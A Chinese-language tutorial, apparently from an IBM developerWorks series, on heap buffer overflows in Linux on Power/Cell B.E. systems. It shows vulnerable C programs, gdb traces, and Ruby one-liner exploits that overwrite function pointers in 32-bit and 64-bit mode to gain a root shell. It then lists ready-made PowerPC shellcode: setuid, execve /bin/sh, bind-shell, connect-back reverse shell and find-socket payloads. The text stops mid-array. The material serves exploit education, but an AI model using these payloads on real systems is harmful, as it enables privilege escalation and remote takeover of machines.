了解運行在基於 Power™/Cell Broadband Engine™ Architecture 處理器的伺服器中的 Linux® 緩衝區溢出漏洞。當進程嘗試將數據儲存到固定長度的緩衝區的範圍之外時,將出現緩衝區溢出。當出現這種情況時,可能會導致出現各種異常的系統行為,並且某些行為可能會對系統安全性造成威脅。本 系列文章 的第 2 部分將介紹如何在 32 位和 64 位模式中重寫函數指針並通過 shell、網路和套接字代碼樣例闡述彙編組件(LoP/Cell/B.E.:緩衝區溢出漏洞,第 1 部分:理解基於 Linux on Power 的系統緩衝區溢出問題 簡要介紹了緩衝區溢出及 Power 和 Cell/B.E.™ 架構,然後說明如何更改目標系統中的進程執行流程以及如何在 32 位和 64 位模式中重寫局部變數)。
在這個 兩部分系列文章 中,運行在基於 Power/Cell Broadband Engine Architecture 處理器的伺服器上的 Linux 中的所有緩衝區溢出漏洞示例都是在運行 Red Hat Enterprise Linux 4 Update 7 的 IBM BladeCenter® JS22 Express 伺服器、IBM BladeCenter QS21 伺服器和 Sony Playstation 3 中開發和執行的。
本文進一步探討緩衝區溢出主題,討論如何在 32 和 64 位模式下重寫函數指針,介紹彙編組件,並提供 shell、網路和套接字代碼樣例。要了解緩衝區溢出的原因和影響,請回顧一下 LoP/Cell/B.E.:緩衝區溢出漏洞,第 1 部分:理解基於 Linux on Power 的系統緩衝區溢出問題。
在 32 位模式下重寫函數指針
通過重寫函數指針,可以執行任何代?。清單 1 中的示例容易出現基於堆的緩衝區溢出問題:
#include <stdio.h> #include <stdlib.h> #include <string.h> struct mystruct { unsigned char buffer[16]; int (*myfunc)(const char *format, ...); }; int main(int argc, char **argv) { struct mystruct *s; if ((s = malloc(sizeof(struct mystruct))) == NULL) { perror("malloc"); exit(EXIT_FAILURE); } s->myfunc = printf; if (argc > 1) strcpy(s->buffer, argv[1]); s->myfunc("Hello world!\n"); exit(EXIT_SUCCESS); } |
進程的執行流程可以通過重寫函數指針 myfunc 進行更改,該指針是 struct mystruct 的成員,位於內存中隨後執行的緩衝區之後。
$ gcc -Wall -o example3 example3.c $ ./example3 AAAAAAAAAAAAAAAABBBB Segmentation fault $ |
清單 3 給出了溢出之後的 struct mystruct 及其在堆片段中的成員。
Lesser Greater addresses addresses struct mystruct buffer myfunc [AAAAAAAAAAAAAAAA][BBBB] Bottom of Top of heap heap |
以下是溢出的 GNU gdb 分析。
$ gdb example3 GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "ppc64-redhat-linux-gnu"... (no debugging symbols found) Using host libthread_db library "/lib64/tls/libthread_db.so.1". (gdb) r AAAAAAAAAAAAAAAABBBB Starting program: /home/ramon/example3 AAAAAAAAAAAAAAAABBBB (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x42424240 in ?? () (gdb) |
結果是,在嘗試執行位於地址 0x42424240 的代碼時,發生了段故障,該地址指向一個無效的內存位置。處理器嘗試執行位於 0x42424240 的代碼,而不是位於指定的 0x42424242 的代碼,以維持 4 位元組長度和字對齊,因為無論何時向處理器提供指令地址(就像在 Branch 指令中一樣),低階的兩位都將被忽略。
以下是溢出之後堆片段中的 struct mystruct。
(gdb) x/20bx 0x10011008 0x10011008: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011018: 0x42 0x42 0x42 0x42 (gdb) |
在基於 Power/CBEA 的處理器中運行的 Linux 上的堆分配首先從地址 0x10011008 開始。以下彙編組件(或 shellcode)可用於利用此漏洞。
char setuidcode[]= /* 16 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\x63\x1a\x78" /* xor r3,r3,r3 */ "\x38\x1f\xfe\x18" /* addi r0,r31,-488 */ "\x44\xff\xff\x02" /* sc */ ; char shellcode[]= /* 55 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xf9" /* bnel+ <shellcode> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */ "\x94\x61\xff\xfc" /* stwu r3,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
NOP block 技術可以提高成功利用漏洞的機率。在基於 Power/CBEA 的處理器中執行 NOP 操作的首選指令是 oril r0,r0,0(0x60000000)。但是,我們使用了指令 mr r31,r31(0x7ffffb78),這是為了避免出現 0。
有了此信息,我們可以猜測包含來自 NOP 塊的 NOP 指令的堆地址(0x10011808)。
# chown root. example3 # chmod +s example3 $ id uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t $ ./example3 $(ruby -e 'print "A" * 16 + "\x10\x01\x18\x08" + "\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18 \x44\xff\xff\x02\x3b\xe0\x01\xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02 \xa6\x3b\xde\x01\xff\x38\x7e\xfe\x25\x98\xbe\xfe\x2c\x94\xa1\xff\xfc\x94\x61 \xff\xfc\x7c\x24\x0b\x78\x38\x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"') sh-3.00# id uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t sh-3.00# |
以下展示了溢出之後的 struct mystruct 及其在堆片段中的成員。
Lesser Greater addresses addresses struct mystruct buffer myfunc [DDDD][A][NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN][SSSSSSSS] | ^ |__________________| Bottom of Top of heap heap D = Dummy value (A character) A = Moderated guess of heap address that possibly will contain a NOP instruction N = NOP instructions S = Assembly components |
在 64 位模式下??寫函數指針
現在討論如何通過在 64 位模式下重寫函數指針來執行任意代碼。Power 64 位 ELF ABI 定義了函數描述符的概念,函數描述符包含在 ELF 文件的 .opd 部分中。
函數描述符是一些包含一個函數指針、一個指向 TOC 部分的指針和一個環境指針(用於 Pascal 等語言)的結構。在高級語言中,函數符號名稱的值是函數描述符的地址,而不是函數的地址。以點(.)前綴開始的符號名稱用於函數地址。Power 32 位 ELF EABI 未定義函數描述符。
Power 64 位 ELF ABI 要使用函數描述符,需要更改操作函數地址的代碼。要訪問函數地址,可以使用以下代碼。
int function_name(int arg1, int arg2); typedef struct function_descriptor { void *addr; unsigned long toc; unsigned long env; } f_desc_t; function_address=(unsigned long)(((f_desc_t *)function_name)->addr); |
這使得利用前面的示例不同於在 32 模式下利用漏洞 —— 無需進行更改就可以將前面的示例移植到 64 位模式下。
$ gcc -Wall -m64 -o example4 example3.c $ ./example4 AAAAAAAAAAAAAAAABBBBBBBB Segmentation fault $ |
以下給出了溢出之後的 struct mystruct 及其在堆片段中的成員。
Lesser Greater addresses addresses struct mystruct buffer myfunc descriptor [AAAAAAAAAAAAAAAA][BBBBBBBB] Bottom of Top of heap heap |
以下是溢出的 GNU gdb 分析。
$ gdb example4 GNU gdb Red Hat Linux (6.3.0.0-1.159.el4rh) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "ppc64-redhat-linux-gnu"... (no debugging symbols found) Using host libthread_db library "/lib64/tls/libthread_db.so.1". (gdb) r AAAAAAAAAAAAAAAABBBBBBBB Starting program: /home/ramon/example4 AAAAAAAAAAAAAAAABBBBBBBB (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x00000000100006f8 in .main () (gdb) x/i $pc 0x100006f8 <.main+148>: ld r0,0(r9) (gdb) i r r9 r9 0x4242424242424242 4774451407313060418 (gdb) |
這導致當嘗試從指定的地址 0x4242424242424242 處的函數描述符載入函數地址時,將發生段故障,這個指定的地址指向了一個無效的內存位置。
為了成功利用此漏洞,myfunc 函數描述符必須指向一個包含偽函數描述符的有效內存位置,其 addr 成員指向一個來自 NOP 塊的 NOP 指令,後面跟隨彙編組件。
以下是溢出之後堆片段中的 struct mystruct。
(gdb) x/24bx 0x10011010 0x10011010: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011018: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x10011020: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 (gdb) |
記住,在 64 位模式下,在基於 Power/CBEA 的處理器上運行的 Linux 中的堆分配從地址 0x0000000010011010 開始。這使得只有在輸入數據能夠包含 0 的情況下,才能成功利用此類漏洞。
下面的示例修改了前面易出現基於堆的緩衝區溢出的示例,它從一個文件讀入數據,因此能夠接受 0。
#include <stdio.h> #include <stdlib.h> #include <string.h> struct mystruct { unsigned char buffer[16]; int (*myfunc)(const char *format, ...); }; int main(int argc, char **argv) { struct mystruct *s; FILE *fp; if ((fp = fopen(argv[1], "r")) == NULL) { perror("fopen"); exit(EXIT_FAILURE); } if ((s = malloc(sizeof(struct mystruct))) == NULL) { perror("malloc"); exit(EXIT_FAILURE); } s->myfunc = printf; fgets(s->buffer, 16384, fp); s->myfunc("Hello world!\n"); exit(EXIT_SUCCESS); } |
另外,要在 64 位模式下利用此漏洞,需要使用 64 位模式彙編組件。
char setuidcode[]= /* 16 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\x63\x1a\x78" /* xor r3,r3,r3 */ "\x38\x1f\xfe\x18" /* addi r0,r31,-488 */ "\x44\xff\xff\x02" /* sc */ ; char shellcode64[]= /* 55 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xf9" /* bnel+ <shellcode64> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */ "\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
可以在一個 NOP 塊之後使用一個僅包含其 addr 成員的偽函數描述符塊,以提高利用漏洞的機會。 NOP 塊和偽函數描述符塊之間的區別是固定的。如果這些塊具有相同的大小,那麼只能猜測哪個指針指向一個偽函數描述符(0x0000000010011810 —— 這暗示著地址 0x0000000010012810 將包含一個 NOP 指令)。
$ gcc -Wall -m64 -o example4 example4.c # chown root. example4 # chmod +s example4 $ id uid=500(ramon) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t $ ruby -e 'print "A" * 16 + "\x00\x00\x00\x00\x10\x01\x18\x10" + "\x00\x00\x00\x00\x10\x01\x28\x10" * 512 + "\x7f\xff\xfb\x78" * 1024 + "\x3b\xe0\x01\xff\x7c\x63\x1a\x78\x38\x1f\xfe\x18\x44\xff\xff\x02\x3b\xe0\x01 \xff\x7c\xa5\x2a\x79\x40\x82\xff\xf9\x7f\xc8\x02\xa6\x3b\xde\x01\xff\x38\x7e \xfe\x25\x98\xbe\xfe\x2c\xf8\xa1\xff\xf9\xf8\x61\xff\xf9\x7c\x24\x0b\x78\x38 \x1f\xfe\x0c\x44\xff\xff\x02/bin/sh"' > exploit.txt $ ./example4 exploit.txt sh-3.00# id uid=0(root) gid=500(ramon) groups=500(ramon) context=user_u:system_r: unconfined_t sh-3.00# |
以下給出了溢出之後的 struct mystruct 及其在堆片段中的成員。
Lesser Greater addresses addresses struct mystruct buffer myfunc descriptor [DDDD][P][AAAAAAAAAAAAAAAA][NNNNNNNNNNNNNNNN][SSSSSSSS] | ^| ^ |_________||_________________| fixed Bottom of Top of heap heap D = Dummy value (A character) P = Moderated guess of heap address that possibly will contain an address of NOP instruction (fake function descriptor) A = Moderated guess of heap address that possibly will contain a NOP instruction N = NOP instructions S = Assembly components |
現在我們詳細討論一下彙編組件。
彙編組件
以下彙編組件 — shell 執行代碼、網路伺服器代碼、網路連接代碼以及查找套接字代碼 — 將在 代碼示例 部分提供,以供在基於 Linux on Power/CBEA 處理器的概念證明代碼中使用(參見 參考資料)。這些彙編組件是 UNIX® Assembly Components for Proof of Concept Codes 項目的一部分:
代碼示例
char setresuidcode[]= /* 24 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\xa5\x2a\x78" /* xor r5,r5,r5 */ "\x7c\x84\x22\x78" /* xor r4,r4,r4 */ "\x7c\x63\x1a\x78" /* xor r3,r3,r3 */ "\x38\x1f\xfe\xa5" /* addi r0,r31,-347 */ "\x44\xff\xff\x02" /* sc */ ; char setreuidcode[]= /* 20 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\x84\x22\x78" /* xor r4,r4,r4 */ "\x7c\x63\x1a\x78" /* xor r3,r3,r3 */ "\x38\x1f\xfe\x47" /* addi r0,r31,-441 */ "\x44\xff\xff\x02" /* sc */ ; char setuidcode[]= /* 16 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\x63\x1a\x78" /* xor r3,r3,r3 */ "\x38\x1f\xfe\x18" /* addi r0,r31,-488 */ "\x44\xff\xff\x02" /* sc */ ; char shellcode[]= /* 55 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xf9" /* bnel+ <shellcode> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */ "\x94\x61\xff\xfc" /* stwu r3,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; char exitcode[]= /* 16 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\x63\x1a\x78" /* xor r3,r3,r3 */ "\x38\x1f\xfe\x02" /* addi r0,r31,-510 */ "\x44\xff\xff\x02" /* sc */ ; |
char shellcode64[]= /* 55 bytes */ "\x3b\xe0\x01\xff" /* li r31,511 */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xf9" /* bnel+ <shellcode64> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */ "\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1f\xfe\x0c" /* addi r0,r31,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
#define BNDSOCKPORT 58 char bndsockcode[]= /* 223 bytes */ "\x7f\xff\xfa\x78" /* xor r31,r31,r31 */ "\x3b\xa0\x01\xff" /* li r29,511 */ "\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */ "\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x97\x81\xff\xfc" /* stwu r28,-4(r1) */ "\x97\x61\xff\xfc" /* stwu r27,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x02" /* addi r3,r29,-510 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x7a\x1b\x78" /* mr r26,r3 */ "\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */ "\x3e\xe0\xff\x02" /* lis r23,-254 */ "\x62\xf7\x04\xd2" /* ori r23,r23,1234 */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */ "\x7c\x36\x0b\x78" /* mr r22,r1 */ "\x97\x21\xff\xfc" /* stwu r25,-4(r1) */ "\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */ "\x97\x41\xff\xfc" /* stwu r26,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x03" /* addi r3,r29,-509 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x97\x41\xff\xfc" /* stwu r26,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x05" /* addi r3,r29,-507 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x06" /* addi r3,r29,-506 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x75\x1b\x78" /* mr r21,r3 */ "\x7f\x64\xdb\x78" /* mr r4,r27 */ "\x7e\xa3\xab\x78" /* mr r3,r21 */ "\x38\x1d\xfe\x40" /* addi r0,r29,-448 */ "\x44\xff\xff\x02" /* sc */ "\x37\x7b\xff\xff" /* addic. r27,r27,-1 */ "\x40\x80\xff\xec" /* bge+ <bndsockcode+148> */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel+ <bndsockcode+172> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */ "\x94\x61\xff\xfc" /* stwu r3,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
#define BNDSOCKPORT 58 char bndsockcode64[]= /* 223 bytes */ "\x7f\xff\xfa\x78" /* xor r31,r31,r31 */ "\x3b\xa0\x01\xff" /* li r29,511 */ "\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */ "\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */ "\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */ "\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */ "\xfb\x61\xff\xf9" /* stdu r27,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x02" /* addi r3,r29,-510 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x7a\x1b\x78" /* mr r26,r3 */ "\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */ "\x3e\xe0\xff\x02" /* lis r23,-254 */ "\x62\xf7\x04\xd2" /* ori r23,r23,1234 */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */ "\x7c\x36\x0b\x78" /* mr r22,r1 */ "\xfb\x21\xff\xf9" /* stdu r25,-8(r1) */ "\xfa\xc1\xff\xf9" /* stdu r22,-8(r1) */ "\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x03" /* addi r3,r29,-509 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */ "\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */ "\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x05" /* addi r3,r29,-507 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x06" /* addi r3,r29,-506 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x75\x1b\x78" /* mr r21,r3 */ "\x7f\x64\xdb\x78" /* mr r4,r27 */ "\x7e\xa3\xab\x78" /* mr r3,r21 */ "\x38\x1d\xfe\x40" /* addi r0,r29,-448 */ "\x44\xff\xff\x02" /* sc */ "\x37\x7b\xff\xff" /* addic. r27,r27,-1 */ "\x40\x80\xff\xec" /* bge+ <bndsockcode64+148> */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel+ <bndsockcode64+172> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */ "\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
#define CNTSOCKADDR1 54 #define CNTSOCKADDR2 58 #define CNTSOCKPORT 62 char cntsockcode[]= /* 183 bytes */ "\x7f\xff\xfa\x78" /* xor r31,r31,r31 */ "\x3b\xa0\x01\xff" /* li r29,511 */ "\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */ "\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x97\x81\xff\xfc" /* stwu r28,-4(r1) */ "\x97\x61\xff\xfc" /* stwu r27,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x02" /* addi r3,r29,-510 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x7a\x1b\x78" /* mr r26,r3 */ "\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */ "\x3e\xe0\x7f\x00" /* lis r23,32512 */ "\x62\xf7\x00\x01" /* ori r23,r23,1 */ "\x3a\xc0\x04\xd2" /* li r22,1234 */ "\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */ "\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */ "\x93\x61\xff\xfe" /* stw r27,-2(r1) */ "\x7c\x35\x0b\x78" /* mr r21,r1 */ "\x97\x21\xff\xfc" /* stwu r25,-4(r1) */ "\x96\xa1\xff\xfc" /* stwu r21,-4(r1) */ "\x97\x41\xff\xfc" /* stwu r26,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x04" /* addi r3,r29,-508 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7f\x64\xdb\x78" /* mr r4,r27 */ "\x7f\x43\xd3\x78" /* mr r3,r26 */ "\x38\x1d\xfe\x40" /* addi r0,r29,-448 */ "\x44\xff\xff\x02" /* sc */ "\x37\x7b\xff\xff" /* addic. r27,r27,-1 */ "\x40\x80\xff\xec" /* bge+ <cntsockcode+108> */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel+ <cntsockcode+132> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */ "\x94\x61\xff\xfc" /* stwu r3,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
#define CNTSOCKADDR1 54 #define CNTSOCKADDR2 58 #define CNTSOCKPORT 62 char cntsockcode64[]= /* 183 bytes */ "\x7f\xff\xfa\x78" /* xor r31,r31,r31 */ "\x3b\xa0\x01\xff" /* li r29,511 */ "\x3b\x9d\xfe\x02" /* addi r28,r29,-510 */ "\x3b\x7d\xfe\x03" /* addi r27,r29,-509 */ "\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */ "\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */ "\xfb\x61\xff\xf9" /* stdu r27,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x02" /* addi r3,r29,-510 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7c\x7a\x1b\x78" /* mr r26,r3 */ "\x3b\x3d\xfe\x11" /* addi r25,r29,-495 */ "\x3e\xe0\x7f\x00" /* lis r23,32512 */ "\x62\xf7\x00\x01" /* ori r23,r23,1 */ "\x3a\xc0\x04\xd2" /* li r22,1234 */ "\x96\xe1\xff\xfc" /* stwu r23,-4(r1) */ "\x96\xc1\xff\xfc" /* stwu r22,-4(r1) */ "\x93\x61\xff\xfe" /* stw r27,-2(r1) */ "\x7c\x35\x0b\x78" /* mr r21,r1 */ "\xfb\x21\xff\xf9" /* stdu r25,-8(r1) */ "\xfa\xa1\xff\xf9" /* stdu r21,-8(r1) */ "\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x04" /* addi r3,r29,-508 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x7f\x64\xdb\x78" /* mr r4,r27 */ "\x7f\x43\xd3\x78" /* mr r3,r26 */ "\x38\x1d\xfe\x40" /* addi r0,r29,-448 */ "\x44\xff\xff\x02" /* sc */ "\x37\x7b\xff\xff" /* addic. r27,r27,-1 */ "\x40\x80\xff\xec" /* bge+ <cntsockcode64+108> */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel+ <cntsockcode64+132> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ "\x38\x7e\xfe\x25" /* addi r3,r30,-475 */ "\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */ "\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */ "\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */ "\x44\xff\xff\x02" /* sc */ "/bin/sh" ; |
#define FNDSOCKPORT 86 char fndsockcode[]= /* 171 bytes */ "\x7f\xff\xfa\x78" /* xor r31,r31,r31 */ "\x3b\xa0\x01\xff" /* li r29,511 */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x7c\x3c\x0b\x78" /* mr r28,r1 */ "\x3b\x7d\xfe\x11" /* addi r27,r29,-495 */ "\x97\x61\xff\xfc" /* stwu r27,-4(r1) */ "\x7c\x3a\x0b\x78" /* mr r26,r1 */ "\x97\x41\xff\xfc" /* stwu r26,-4(r1) */ "\x97\x81\xff\xfc" /* stwu r28,-4(r1) */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x3b\xff\x01\xff" /* addi r31,r31,511 */ "\x3b\xff\xfe\x02" /* addi r31,r31,-510 */ "\x38\x21\x01\xff" /* addi r1,r1,511 */ "\x38\x21\xfe\x05" /* addi r1,r1,-507 */ "\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */ "\x7c\x24\x0b\x78" /* mr r4,r1 */ "\x38\x7d\xfe\x08" /* addi r3,r29,-504 */ "\x38\x1d\xfe\x67" /* addi r0,r29,-409 */ "\x44\xff\xff\x02" /* sc */ "\x3b\x3c\x01\xff" /* addi r25,r28,511 */ "\xa3\x39\xfe\x03" /* lhz r25,-509(r25) */ "\x28\x19\x04\xd2" /* cmplwi r25,1234 */ "\x40\x82\xff\xd0" /* bne+ <fndsockcode+40> */ "\x3b\x1d\xfe\x03" /* addi r24,r29,-509 */ "\x7f\x04\xc3\x78" /* mr r4,r24 */ "\x7f\xe3\xfb\x78" /* mr r3,r31 */ "\x38\x1d\xfe\x40" /* addi r0,r29,-448 */ "\x44\xff\xff\x02" /* sc */ "\x37\x18\xff\xff" /* addic. r24,r24,-1 */ "\x40\x80\xff\xec" /* bge+ <fndsockcode+96> */ "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel+ <fndsockcode+120> */ "\x7f\xc8\x02\xa6" /* mflr r30 */ "\x3b\xde\x01\xff" /* addi r30,r30,511 */ 